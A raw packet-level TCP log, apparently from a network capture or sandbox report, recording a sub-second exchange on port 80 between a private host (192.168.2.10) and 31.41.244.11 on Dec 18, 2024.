Dec 18, 2024 15:56:16.749953985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.750112057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.750152111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.750818014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.750865936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.750935078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.750983953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.751441002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.751488924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.751601934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.751646042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.752119064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.752162933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.752232075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.752273083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.752849102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.752903938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.752906084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.752945900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.753544092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.753592968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.753840923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.753889084 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.754256010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.754307032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.754358053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.754403114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.755012035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.755055904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.755101919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.755142927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.755733967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.755772114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.755783081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.755810022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.756423950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.756470919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.756539106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.756578922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.757174015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.757226944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.757258892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.757301092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.758080006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.758124113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.758130074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.758163929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.878042936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.878079891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.878154039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.878423929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.878499985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.878509998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.878573895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.879141092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.879188061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.879359007 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.879429102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.879909039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.879951954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.915147066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.915230989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.915235996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.915378094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.915496111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.915529013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.915846109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.916100979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.916156054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.916285992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.916445971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.916791916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.916848898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.916930914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.917406082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.917541981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.917660952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.917712927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.918237925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.918287992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.918311119 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.918355942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.918957949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.919003963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.919101954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.919795990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.919831991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.919848919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.919876099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.920445919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.920495987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.920566082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.920620918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.921199083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.921217918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.921267033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.921852112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.921915054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.922058105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.922131062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.922600031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.922661066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.922746897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.923377037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.923428059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.923465967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.923846960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.924069881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.924181938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.924238920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.924865961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.924987078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.925036907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.925771952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.925879002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.925931931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.926755905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.926875114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.926938057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.927386045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.927438974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.927469015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.927509069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.928154945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.928174019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.928205967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.928220034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.928752899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.928814888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.928891897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.928936005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.929363012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.929462910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.929476023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.929517984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.930000067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.930059910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.930089951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.930213928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.930572033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.930628061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.930675030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.931369066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.931418896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.931484938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.931552887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.932070017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.932128906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.932298899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.932523966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.932854891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.932904005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.932904959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.932948112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.933630943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.933681011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.933687925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.933727026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.934284925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.934331894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.934427023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.935031891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.935079098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.935112000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.935719013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.935765982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.935813904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.936423063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.936466932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.936628103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.936675072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.937165022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.937232971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.937262058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.937378883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.937886953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.937944889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.937974930 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.938025951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.938637972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.938725948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.938755035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.938793898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.939332962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.939378977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.939400911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.939440966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.940102100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.940181971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.940242052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.940831900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.940912008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.941029072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.941087008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.941504955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.941570997 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.941642046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.941951036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.942213058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.942358971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.942414045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.942950964 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.943008900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.943114996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.943245888 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.943737984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.943799019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.943960905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.944015980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.944482088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.944566965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.944585085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.944680929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.945154905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.945213079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.945241928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.945298910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.945899010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.945961952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.945991039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.946192980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.946626902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.946687937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.946702003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.946830034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.947371006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.947429895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.947504044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.947547913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.948096037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.948141098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.948169947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.948255062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.948782921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.948848009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.948972940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.949023008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.949508905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.949565887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.949698925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.949744940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.950258017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.950305939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.950309992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.950491905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.070422888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.070480108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.070565939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.070599079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.070739985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.070777893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.070811987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.070848942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.071630955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.071691036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.071724892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.071765900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.072205067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.072252035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.107347012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.107436895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.107458115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.107621908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.107631922 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.107656956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.107690096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.107733965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.108412981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.108459949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.108489037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.108526945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.109157085 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.109204054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.109287024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.109327078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.109807968 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.109862089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.109925032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.109961987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.110541105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.110611916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.110630035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.110671043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.111284971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.111332893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.111408949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.111457109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.112025023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.112081051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.112109900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.112162113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.112714052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.112765074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.113106012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.113157034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.113538980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.113557100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.113593102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.113605976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.114185095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.114236116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.114300966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.114346981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.114912033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.114962101 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.115068913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.115117073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.115623951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.115667105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.115727901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.115777969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.116359949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.116405010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.116545916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.116591930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.117062092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.117105007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.117189884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.117235899 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.117894888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.117968082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.117988110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.118033886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.118570089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.118623972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.118699074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.118746996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.119298935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.119344950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.119415045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.119462967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.120070934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.120121956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.120151043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.120197058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.120738983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.120786905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.120845079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.120892048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.121563911 CET	80	49749	31.41.244.11	192.168.2.10
